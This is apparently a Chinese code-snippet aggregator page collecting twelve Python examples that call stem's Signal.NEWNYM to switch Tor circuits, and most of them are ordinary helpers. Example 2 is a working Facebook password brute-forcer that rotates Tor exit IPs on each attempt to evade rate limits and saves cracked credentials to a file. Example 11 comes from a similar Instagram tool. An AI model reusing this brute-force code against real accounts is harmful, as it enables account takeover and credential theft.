当前位置: 首页>>代码示例>>Python>>正文


Python Signal.NEWNYM属性代码示例

本文整理汇总了Python中stem.Signal.NEWNYM属性的典型用法代码示例。如果您正苦于以下问题:Python Signal.NEWNYM属性的具体用法?Python Signal.NEWNYM怎么用?Python Signal.NEWNYM使用的例子?那么恭喜您, 这里精选的属性代码示例或许可以为您提供帮助。您也可以进一步了解该属性所在stem.Signal的用法示例。


在下文中一共展示了Signal.NEWNYM属性的12个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: tor_switch_with_password

# 需要导入模块: from stem import Signal [as 别名]
# 或者: from stem.Signal import NEWNYM [as 别名]
def tor_switch_with_password(interval=30,password=None,p=9051,logs=True):
 '''
   this one does work on any OS, you just need to activate tor's control port 9051 and set the password.

   it takes the next parameters:

   new: (set by default to: 30) the interval in seconds between switching tor's nodes
   password: your password
   p: (set by default to: 9051) tor's control port
   logs: (set by default to: True) showing the screen prints
'''
 if password==None:
  print("[-]you need to put your control port's password for authentication!!!")
 else:
  while True:
   try:
    with Controller.from_port(port = p) as controller:
     controller.authenticate(password =password )
     controller.signal(Signal.NEWNYM)
     controller.close()
    if logs==True:
     print("IP changed, sleeping for {} seconds...".format(interval))
    time.sleep(interval)
   except KeyboardInterrupt:
    break 
开发者ID:AlaBouali,项目名称:bane,代码行数:27,代码来源:swtch.py

示例2: function

# 需要导入模块: from stem import Signal [as 别名]
# 或者: from stem.Signal import NEWNYM [as 别名]
def function(email,passw):
	headers = {'User-Agent':random.choice(open('user-agents.txt').read().splitlines()),'Accept-Language':'en-US,en;q=0.5'}
	payload['email'] = email
	payload['pass'] = passw
	e = ''
	if l == 1:e = requests.get('https://api.ipify.org',proxies=proxy,verify=False).text
	with Controller.from_port(port = 9051) as c:
		c.authenticate()
		c.signal(Signal.NEWNYM)
		A=requests.post(post_url,data=payload,headers=headers,proxies=proxy,verify=False)				
		soup = BeautifulSoup(re.sub("</"," </", A.text),"lxml")
		for s in soup(["style","script"]):s.decompose()
		clean = re.sub("To personalize content, tailor and measure ads, and provide a safer experience, we use cookies. By tapping on the site, you agree to our use of cookies on and off Facebook. Learn more, including about controls: Cookies Policy . Facebook ","", re.sub(' +',' ',soup.get_text()))
		print('\n ['+str(k)+'/'+str(g)+'] Trying',passw+' '+e+' FB says '+clean[:28])
		open(email+'_response.txt','a').write(clean+' '+passw)
		if 'Facebook ' in clean[:9] or 'Please confirm your identity' in clean or 'Your account has been temporarily locked' in clean:
			open('found.txt','a').write('\nUsername='+email+' Password='+passw)
			quit('\n \033[1;32m[+] Congrats!!! Password is : '+passw+' [+] Saved : found.txt\n\n')
		elif'Please try again later'in clean or 'You Can\'t Do That Right Now' in  clean:
			open(email+'_left_password.txt','a').write(passw+'\n')
			print('\033[93m [+] IP used so much.\n [+] Password Saved in '+email+'_left_password.txt')
			m = input(' [+] Enter minutes to sleep for or nothing for no sleep : ')
			if(m.isdigit()):
				print(' [+] Waiting for '+m+' minutes...\033[97m')
				time.sleep(int(m)*60)
			return False	
		else:
			return False 
开发者ID:graysuit,项目名称:facebrute,代码行数:30,代码来源:fb.py

示例3: renew_tor_circuit

# 需要导入模块: from stem import Signal [as 别名]
# 或者: from stem.Signal import NEWNYM [as 别名]
def renew_tor_circuit(self):
        """
        Renews the Tor circuit.
        Sends a NEWNYM message to the Tor network to create a new circuit.

        :return: bool.
            Whether a new tor ciruit was created.

        """

        def renew_circuit(password):
            """
            Sends a NEWNYM message to the Tor network to create a new circuit.

            :param password:
            :return: bool.
            """
            controller.authenticate(password=password)
            if controller.is_newnym_available():  # true if tor would currently accept a NEWNYM signal.
                controller.signal(Signal.NEWNYM)
                print('New Tor circuit created')
                result = True
            else:
                delay = controller.get_newnym_wait()
                print('Delay to create new Tor circuit: {0}s'.format(delay))
                result = False
            return result

        # Needs to reload the default socket to be able to send the is_newnym_avilable and get_newnym_wait signals
        reload(socket)
        if isinstance(self.controlport, int):
            with Controller.from_port(port=self.controlport) as controller:
                is_renewed = renew_circuit(self.password)
        elif isinstance(self.controlport, basestring):
            with Controller.from_socket_file(path=self.controlport) as controller:
                is_renewed = renew_circuit(self.password)
        else:
            is_renewed = False
        gevent.monkey.patch_socket()
        return is_renewed 
开发者ID:SekouD,项目名称:mlconjug,代码行数:42,代码来源:utils.py

示例4: change_ip_address

# 需要导入模块: from stem import Signal [as 别名]
# 或者: from stem.Signal import NEWNYM [as 别名]
def change_ip_address(self):
        with Controller.from_port(port=self.control_port) as controller:
            controller.authenticate(self.password)
            controller.signal(Signal.NEWNYM)
            controller.close() 
开发者ID:matejbasic,项目名称:PythonScrapyBasicSetup,代码行数:7,代码来源:proxy.py

示例5: switch_tor

# 需要导入模块: from stem import Signal [as 别名]
# 或者: from stem.Signal import NEWNYM [as 别名]
def switch_tor():
    print(t() + ' Please wait...')
    time.sleep(7)
    print(t() + ' Requesting new circuit...',)
    with Controller.from_port(port=9051) as controller:
        controller.authenticate()
        controller.signal(Signal.NEWNYM)
    print(bcolors.GREEN + '[done]' + bcolors.ENDC)
    print(t() + ' Fetching current IP...')
    print(t() + ' CURRENT IP : ' + bcolors.GREEN + ip() + bcolors.ENDC) 
开发者ID:SusmithKrishnan,项目名称:torghost,代码行数:12,代码来源:torghost.py

示例6: NewID

# 需要导入模块: from stem import Signal [as 别名]
# 或者: from stem.Signal import NEWNYM [as 别名]
def NewID():
    controller.signal(Signal.NEWNYM)
    loger.error(colored('切换线路', 'red')) 
开发者ID:aoii103,项目名称:FakeUA,代码行数:5,代码来源:FakeUA.py

示例7: change_proxy

# 需要导入模块: from stem import Signal [as 别名]
# 或者: from stem.Signal import NEWNYM [as 别名]
def change_proxy():
    with Controller.from_port(port = 9151) as controller:
            controller.authenticate(password="password")
            controller.signal(Signal.NEWNYM) 
开发者ID:nextgis,项目名称:reformagkh,代码行数:6,代码来源:get_reformagkh_atd.py

示例8: switch_tor

# 需要导入模块: from stem import Signal [as 别名]
# 或者: from stem.Signal import NEWNYM [as 别名]
def switch_tor():
    print t()+" Please wait..."
    time.sleep(7)
    print t()+" Requesting new circuit...",
    with Controller.from_port(port=9051) as controller:
        controller.authenticate()
        controller.signal(Signal.NEWNYM)
    print bcolors.GREEN+"[done]"+bcolors.ENDC
    print t()+" Fetching current IP..."
    print t()+" CURRENT IP : "+bcolors.GREEN+ip()+bcolors.ENDC
    f = open('module/tor/tor.ip', 'w')
    f.write(ip())
    f.close() 
开发者ID:noobscode,项目名称:kalel,代码行数:15,代码来源:tor.py

示例9: _obtain_new_ip

# 需要导入模块: from stem import Signal [as 别名]
# 或者: from stem.Signal import NEWNYM [as 别名]
def _obtain_new_ip(self):
        """
        Change Tor's IP.
        """
        with Controller.from_port(
            address=self.tor_address, port=self.tor_port
        ) as controller:
            controller.authenticate(password=self.tor_password)
            controller.signal(Signal.NEWNYM)

        # Wait till the IP 'settles in'.
        sleep(self.post_new_ip_sleep) 
开发者ID:DusanMadar,项目名称:TorIpChanger,代码行数:14,代码来源:changer.py

示例10: test_obtain_new_ip

# 需要导入模块: from stem import Signal [as 别名]
# 或者: from stem.Signal import NEWNYM [as 别名]
def test_obtain_new_ip(self, mock_from_port, mock_sleep):
        """
        Test that '_obtain_new_ip' obtains new Tor IP and expected methods are
        called while doing so within the context manager.
        """
        tor_ip_changer = TorIpChanger(post_new_ip_sleep=1.0)
        tor_ip_changer._obtain_new_ip()

        mock_from_port.assert_any_call(address=TOR_ADDRESS, port=TOR_PORT)

        mock_controler = mock_from_port.return_value.__enter__()
        mock_controler.signal.assert_any_call(Signal.NEWNYM)
        mock_controler.authenticate.assert_any_call(password=TOR_PASSWORD)

        mock_sleep.assert_called_once_with(1.0) 
开发者ID:DusanMadar,项目名称:TorIpChanger,代码行数:17,代码来源:test_changer.py

示例11: ChangeIPAddress

# 需要导入模块: from stem import Signal [as 别名]
# 或者: from stem.Signal import NEWNYM [as 别名]
def ChangeIPAddress(self):
        if not self.tor_controller == None:
            # signal tor to change ip
            self.tor_controller.signal(Signal.NEWNYM)
            self.ip = self.bot.get(
                'https://icanhazip.com').content.rstrip().decode()
            return True
        return False 
开发者ID:deathsec,项目名称:instagram-py,代码行数:10,代码来源:InstagramPySession.py

示例12: newId

# 需要导入模块: from stem import Signal [as 别名]
# 或者: from stem.Signal import NEWNYM [as 别名]
def newId():
    global changeIDInPregress
    changeIDInPregress = True
    with Controller.from_port(port = 9051) as controller:
        controller.authenticate(password = password)
        controller.signal(Signal.NEWNYM)
    time.sleep(3)
    changeIDInPregress = False 
开发者ID:adibalcan,项目名称:PyTor,代码行数:10,代码来源:pytor.py


注:本文中的stem.Signal.NEWNYM属性示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。